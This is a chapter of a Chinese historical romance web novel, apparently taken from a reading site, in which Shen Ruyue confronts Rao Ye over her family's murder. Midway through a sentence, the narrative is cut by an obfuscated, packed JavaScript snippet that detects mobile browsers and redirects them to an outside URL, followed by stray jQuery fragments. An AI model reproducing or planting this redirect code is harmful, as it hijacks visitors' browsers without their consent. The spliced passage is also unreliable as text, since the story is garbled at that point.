饶烨立在门边站了片刻，直到她们都出了门才缓缓迈开步子进去。


    “吱呀——”又是一声关门的动静，不知是哪个好事的过于顺手地帮他们关上了门。


    这小动作过去，里头是静得连彼此的呼吸声都听得见。


    烛火在桌边床头跳动着，一如申如月晃动的心跳。


    饶烨比她好不到哪里去，看上去还是那张面无表情的脸，但紧绷着的声线已经将他卖了个干净。


    “阿月。”


    良久，他才缓缓唤了她一声。


    只这一声，申如月的心口就如被重辇压过一番，眼角簌然落了两行清泪，她缓了缓，才压低了声音回他道：“世子爷。谅民女卧床不便，尚不能下床磕头行礼。”


    饶烨目光沉沉，眼神晦暗不明。她的语气听上去云淡风轻，亦是有礼有节挑不出错，但他却无比清楚，阿月越是冷静，现在的场面便越糟糕。


    他嘴唇动了动，想说的话太多，最后只化作了一句听来十分苍白的解释：“我不是故意要瞒你。”


    申如月勾唇：“世子爷说笑了。不必刻意向民女解释这些。”


    他站在原地，进退维谷。她分明是生他的气，不然不会大发雷霆，以命相逼让花二娘把他请来。但既然相见，她又不曾开口主动说一句话，极为冷漠，像变了一个人。


    终归还是他不辞而别，即是自己的错，饶烨以为是这些原因，主动低头解释。


    “当时我一直被仇厉召的人追杀，不得不暂时隐瞒身份和行踪。我确实有很多次都想直接告诉你我的安排，但这个计划实在冒险，在不到有了万全把握之时我不敢拉上你的性命和我一起冒险。”


    申如月眼睫颤了颤，面上无动于衷。


    饶烨：“所以我只能派人将你从雪地里送了回来，接着布局伏击仇厉召派来的刺客。待我在锦州端了他们一窝，再与亓定王从京州派来的中央禁卫军回合，事成之日我一定会找回你。”


    申如月的心跳加快，双拳攥得很紧。


    饶烨上前，摸出自己的玉佩，眼神定定：“我曾给你留过那枚璎珞。我知道那不算什么约定，毕竟你从来没接受过我，但那确实是我还未当面向你表达的心意。”


    申如月痛苦地闭上了眼。哽咽得近乎失声。又缓缓地一直摇头，似乎这样，她就可以暂时忘记他们之间曾经的交集。他对自己来说就只是安远侯世子，她应该讨债的仇敌！


    饶烨抬手，想要靠近，却又克制地收了回去。


    他原以为自己可以一直等下去，直到万事都料理完的那天，迎来水到渠成的圆满，但却低估了两人之间的羁绊。事情的发展不会像他想象中的那样顺利，时时生变。


    本来在送离申如月后，他们在沂州成功伏击了还要路上想来锦州暗杀他的刺客。一切向好，正如计划所想的那样，他和暗伏在锦州的亓定王禁军来了个里应外合，铲除了欧阳家和云雾山这批驻扎在此地的人马。


    毕竟欧阳家仅仅是地方一霸，真要想自立为王还差得远，作战用兵又如何是饶烨和邹劭的对手？曾经绕过他一命但不中用，那便只能将他碎尸万段永不超生。若不是时间匆忙，饶烨想在欧阳瞻手上逃回的债，还远远不止这些，说是想要千刀万剐也毫不夸张。


    而明逍王想对付的也绝不是锦州的欧阳家，是他已经探清下落的安远侯世子饶烨。在他回京的路上便除掉他和邹劭，相当于直接卸掉了亓定王的左膀右臂。


    届时还有谁能在储位之争上与他抗衡？更何况他背后还有奸相仇厉召相助，只怕整个大夏都落入奸人之手改性仇了！


    而亓定王与饶烨亦探出了他的计划，暗箭难防，遂摆明了车马要与明逍王和仇相斗争到底。饶烨本不愿卷入他们的王储之争，可洪流滚滚已身在局中，不是他想逃脱便能做到的。


    众人怜悯，心怀慈悲，如今的饶烨又怎么忍心看着百姓在无休止的掠夺和纷争中民不聊生。


    他希望锦州一战是他与仇厉召的最后一战。


    万事俱备，大唱空城计，就等着明逍王的军队进城，一网打尽。


    却得了阿月竟加入了明逍王军队的消息。


    情急之下，只能派大灰鹰闻到她的行踪之处，先将人带出来，切不可误伤丝毫。


    和他却无论如何也想不明白。她看自己的眼神又埋怨也好，烦闷也好，可是，她的眼中分明写着纠葛的恨。


    情真意切的恨，即便还有一丝她想强压的情，都无比刺痛了他的心。


    “抱歉。”他想，自己错得太多。


    申如月却只是摇头。


    不，她想的和他口中所说的并不是同一件事，他到底是装傻不提，还是有其他原因？


    申如月缓缓松开拳头，无比纠结地掐着自己的掌心，强迫自己不被他的话带进去，抛开那些现在根本不应该、不配谈起的所谓情爱，她忽然抬眼看向他，冷声道：“我姓申。”


    饶烨的眼神怔愣片刻，没有听明白她话中的意思，眼睫颤动，漆黑的眸子里有些许惊讶，又有些不解，“你……”


    “我姓申。”申如月紧紧盯着他的眼睛，似乎要将他看穿，说不出他到底是太会伪装亦是如何，他的表情和身体反应完全看不出破绽，就像第一次知道这件事一般，于是她重复了一遍，又补充着，“蒙州申氏。”


    可他依然没有特别的反应，仍旧深深地看着他，她所料想应有的慌乱、杀意甚至半点紧张都统统没有。


    良久，他嘴唇动了动：“这是你第一次向我提起你的家乡。”


    “是。”申如月眉心紧锁，眼睛不敢轻易眨动，生怕错过他的半点微表情，“世子爷听说过那里吗？”


    “有所耳闻。”


    她看着他，目光一遍又一遍地在他脸上扫过，神态比任何时候都要认真，饶烨意识到她并非想要向自己敞开心扉地阔谈，她的眼神中分明全都是试探。


    申如月：“蒙州申氏世代游牧为生，驯鹰术高强，泸州江氏为大夏江南驯蛇鼻祖，后江家小姐与申家少爷喜结连理，二人集南北驯兽术精华苦研，所练驯兽以一敌百。你，是否曾经听闻过？”


    饶烨的眼神闪了闪，终于，缓缓点了头。


    申如月心中一直紧绷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868359|152360||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着的那根弦“啪”地一下轰然断裂，脑海中的思绪更是排山倒海。


    “他们于一年前离世，死于歹人之手，武林刺客暗袭，申家毫无防备，几乎没有反击便中了暗算。”


    饶烨猛然抬头。


    申如月：“我就是申家唯一逃出来的活口，幺女申如月。”


    不知为何，饶烨明明是第一次听说这件事，就像听一个过去了一段时间的故事一般，但却被申如月一遍遍加重的语气压得喘不过气来。


    他掐紧了身后还没来得及换下的长袍，声音干涩，“所以，你练驯兽军团是为了替父母报仇。”


    “是！”申如月痛快承认，毫不拖泥带水，但心如刀割，身上的血已经凉得让她全身颤抖，“我蛰伏一年，就是为了练出驯兽军团为父母报仇，为全族亡魂报仇！”


    饶烨平时那样稳健的双手竟开始不自觉地颤抖起来。


    而后，他清楚地听到了申如月一字一句地在他耳边说：“现在，仇人之子就在我面前，你说，我应该怎么做？”


    落地有声，铿锵有力地向他宣判了永远无法回头修和的死刑。


    两人共处一室，仍隔着帷幕相看，但面前却无形有了一条比高山深谷还要不可僭越的鸿沟。


    “不。”他下意识摇头否定，“我父亲绝不是滥杀无辜暗算百姓之人。”


    “怎么不是？”申如月语速越来越快，全然是质问，“好，就算你对这件事完全不知情，但在板上钉钉的证据面前，你又如何否认？”


    饶烨找不出实据反驳，此情此景，单凭他对自己父亲的信任又如何作数。父亲半年前战死沙场，却事发蹊跷突然，死因不明。


    虽朝廷不言安远侯究竟死在谁的刀剑之下。有说安远侯忠君报国，在沙漠苦战，却因等不到救援力竭而死。可更多的是质疑声，道是安远侯勾结西疆，想要叛国投敌，被揭发他的亲信而检举杀死，才避免了北漠领土被侵占的悲剧。


    但后者说法并不是捕风捉影，毕竟安远侯亲信郁蒙回京后便受到了晋封奖赏。其受到的奖赏远超了他所在品阶的应有赏赐，着实可疑，进一步坐实流言。


    饶烨无法接受父亲这样被人污蔑诽谤，本欲向郁蒙讨要一个说法，却得了郁将军重病卧床不宜见客的消息，想强行突破郁宅层层把守直闯，没想到不久后直接得了他辞世的消息。


    看着灵堂中躺着的棺椁，饶烨目眦欲裂，眼尾通红。他终于想过是仇厉召搞的鬼，刚准备逃出京州，至少远离他的掌控，再回头追究此事，却没想到路上就被仇厉召不舍追杀，直取性命。


    瞬间，他的脊梁恍惚被抽走了所有的力气，过去种种，那些真假难辨，却已仿佛坐实在流言蜚语之下的，压得他喘不过气来。


    良久，她才听到他缓缓道：“请你再给我一点时间，我一定会查清这件事。”


    申如月心里有太多狠话可以说，她曾经想过的如何将仇敌千刀万剐的场景，都按了下去，怎么也狠不下心直接冒头。


    饶烨声音嘶哑，语气是前所未有的卑微悲怆。


    “求你不要直接判我死刑。”